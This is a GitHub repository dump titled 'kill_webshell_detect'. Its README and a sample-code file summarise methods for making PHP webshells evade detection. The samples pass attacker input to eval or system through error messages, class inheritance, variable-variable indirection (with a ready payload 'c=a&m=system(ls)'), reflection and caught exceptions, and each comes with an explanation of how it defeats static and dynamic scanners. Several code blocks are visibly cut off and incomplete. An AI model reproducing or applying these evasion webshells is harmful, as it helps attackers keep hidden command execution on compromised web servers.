├── webshell免杀思考思维导图.jpg ├── 知识星球-webshell攻与防.pdf ├── README.md ├── 样本代码整理.md └── .gitignore /webshell免杀思考思维导图.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/qiyeboy/kill_webshell_detect/HEAD/webshell免杀思考思维导图.jpg -------------------------------------------------------------------------------- /知识星球-webshell攻与防.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/qiyeboy/kill_webshell_detect/HEAD/知识星球-webshell攻与防.pdf -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # kill_webshell_detect 2 | 总结了免杀webshell的方法论, 3 | 4 | 主要有: 5 | 1. webshell免杀思考思维导图.jpg 6 | 2. 知识星球-webshell攻与防.pdf 7 | 3. 样本代码整理 8 | 9 | 10 | 感谢大家加入知识星球:腾讯安平密友圈。 11 | 12 | ![](webshell免杀思考思维导图.jpg) 13 | 14 | 如果代码中有什么错误或者描述并不准确的,可以与我wx:qiye_hack私下交流, 感谢。 -------------------------------------------------------------------------------- /样本代码整理.md: -------------------------------------------------------------------------------- 1 | 2 | 如果代码中有什么错误或者描述并不准确的,可以加我的微信:qiye_hack, 与我私下交流, 感谢。 3 | 4 | ``` 5 | 2){ 7 | $a='sys'.$_GET[i]; 8 | $a("ls"); 9 | }else{ 10 | echo "hello"; 11 | } 12 | ``` 13 | 14 | 15 | 16 | 1. 报错方式: 17 | ``` 18 | 19 | $_GET[$_GET['aaa']]; 20 | $a= str_replace("Undefined index: ","",explode('|',error_get_last()["message"])[0]); 21 | eval($a); 22 | ``` 23 | 思路:error\_get\_last函数可以获取 上一次的错误信息,通过\$\_GET[\$\_GET['aaa']] 产生报错,通过报错信息将传入的变量进行间接传递交给eval执行。 24 | 25 | 26 | 2. 父子类数据共享: 27 | 28 | ``` 29 | 35 | ``` 36 | 思路:将传入变量的值交给父类,但是子类可以获取父类的值,从而打断污点传播。 37 | 38 | 39 | 3. unset绕过动态 40 | 41 | ``` 42 | 49 | ``` 50 | 51 | 思路: 52 | 53 | 首先单独的eval($a)是不会告警的,这里通过一个双$$引用赋值间接控制$a变量,也就是必须传入特定的payload,动态才能正常的触发到恶意代码,但显然动态并没有那么智能,从而绕过了检测,payload为:c=a&m=system(ls) 54 | 55 | 56 | 57 | 4. 利用反射 58 | 59 | ``` 60 | getParameters()[0]->name)); 65 | 66 | ``` 67 | 68 | 思路: 69 | 这是一个比较巧妙的反射利用,首先构造一个特殊的反射函数或者类,其中的某个名称或者变量是一个代码执行的payload,其次利用反射类ReflectionFunction获取自定义构造函数,如上例中的函数参数名称,之后再调用执行。这种绕过动态的基本原理与之前相似,也是必须要传入特定的payload才能成功触发代码执行。 70 | 71 | 72 | 5. 利用new特殊类绕过 73 | 74 | ``` 75 | getMessage(),strlen('DirectoryIterator::__construct('))); 80 | } 81 | ``` 82 | 83 | 绕过原理: 84 | 85 | ``` 86 | 首先测试到new $_GET["c"];并不会判断为恶意,然后我们就可以利用一些内置类进行构造,这里可以利用内置类DirectoryIterator构造报错UnexpectedValueException,然后捕获异常从而继续执行代码。 87 | ``` -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | --------------------------------------------------------------------------------